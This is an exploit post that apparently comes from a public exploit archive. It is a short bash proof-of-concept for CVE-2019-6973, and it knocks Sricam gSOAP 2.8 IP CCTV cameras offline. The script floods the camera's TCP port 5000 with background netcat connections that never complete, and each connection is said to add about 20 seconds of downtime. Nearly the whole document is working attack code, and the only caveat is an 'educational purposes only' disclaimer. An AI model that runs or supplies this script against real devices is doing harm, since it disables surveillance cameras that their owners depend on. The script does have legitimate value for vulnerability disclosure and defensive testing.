Sricam gSOAP 2.8 Denial Of Service

`#!/bin/bash  
  
#######################################################################################  
#  
# Exploit Title: Sricam gSOAP 2.8 - Denial of Service  
# Date: 25/01/2019   
# Vendor Status: Informed (24/10/2018)  
# CVE ID: CVE-2019-6973  
# Exploit Author: Andrew Watson  
# Contact: https://keybase.io/bitfu  
# Software Version: Sricam gSOAP 2.8  
# Vendor Homepage: http://www.sricam.com/  
# Tested on: Sricam IP CCTV Camera running gSOAP 2.8 on TCP/5000  
# PoC Details: Sricam IP CCTV Camera's are vulnerable to denial of service,  
# exploitable by sending multiple incomplete requests.  
# References: https://github.com/bitfu/sricam-gsoap2.8-dos-exploit  
#  
# DISCLAIMER: This proof of concept is provided for educational purposes only!  
#  
#######################################################################################  
  
  
if [ -z "$3" ]; then  
echo "#############################################################################"  
echo -e "[*] Sricam gSOAP 2.8 Denial of Service exploit by bitfu"  
echo -e "\n[*] Usage: $0 <IP_Address> <Port> <#_DoS_Payloads>"  
echo "[*] Example: $0 127.0.0.1 5000 10"  
echo -e "\n[!] Each DoS payload sent adds another 20 seconds downtime.\n"  
exit 0  
fi  
  
time=$(expr $3 \* 20)  
echo "[*] Sricam gSOAP 2.8 Denial of Service exploit by bitfu"  
echo -e "\n[+] Sending $3 DoS payloads..."  
echo "[+] Expected downtime: $time seconds"  
for dos in $(seq 1 $3); do  
netcat $1 $2 &  
done  
echo -e "\n[!] $dos DoS payloads sent to: $1:$2"  
echo  
`